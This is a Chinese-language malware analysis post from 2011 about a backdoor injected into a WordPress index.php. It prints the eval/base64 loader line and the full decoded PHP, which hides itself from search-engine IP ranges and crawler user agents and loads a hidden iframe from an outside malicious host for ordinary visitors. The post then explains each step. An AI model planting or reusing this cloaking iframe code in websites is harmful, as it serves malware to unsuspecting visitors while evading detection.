wordpress木马样本
朋友的wordpress被人挂ifram了,找到index.php里被人添加了
<?php eval(base64_decode('ZXJyb3 。。。 4nOw0KfQ=='));
我把base64_decode里的乱码放到 http://base64decode.org/ 还原成明文就是以下代码,好像是判断来源是不是黑客自己的IP或客户端
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<iframe src="http://whsejjhuy.co.tv/i.php?go=1" width="3" height="3"></iframe>'
一个 WordPress 木马样本分析
http://chensd.com/2011-09/a-wordpress-trojan-analyst.html
Written by 不可能不确定 on September 18, 2011
在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用到其它任何PHP程序中。
将源代码做了个简单的整理如下:
1、环境配置与变量声明
error_reporting(0)是为了保证在任何情况下都不报错。
$bot是声音了一个flag,默认值为false,从后面的情况来看,这个是用来表明当前访问者是否是真正的浏览用户。
$user_agent_to_filter和$stop_ips_masks,前者是一维数据,存储了一大堆需要排除的浏览器user_agent,后者是个二维数据,存储了若干个ip段,这些ip段经查询,大都是搜索引擎的。
2、访问者ip的判断
接下来,是通过ip地址和浏览器user agent来进行用户是否是普通浏览器的判断。
ip2long这个函数可以将ip地址转换成一个整数,sprintf(‘%u’, xxx)将这个int转换成无符号数。
foreach在$stop_ips_masks中进行循环,取二维数据中的每一个数组,$frist_d和$second_d分别存储ip段起点ip和止点ip的无符号整数值,再用接下来的if进行判断,当前访问者ip是否在$stop_ips_masks所指定的范围内,若是,则将$bot量置为true。
3、访问者user agent的判断
这一部分的判断与ip判断类似,从$user_agent_to_filter中读取每一个值,再与浏览者的user agent进行对比,如果发现是机器人或者蜘蛛,则将$bot置为true。
4、放置iframe
if(!$bot)控制当访问者是普通浏览器时,即放置这个iframe,iframe的scr是无耻者放置乱七八糟内容的网页——chrome已经将它block了。
5、结论
这个脚本可以用在任何php写成的网站中。而且,这段代码其实可以隐藏得更好,而不是这样连裤衩都不穿的裸奔。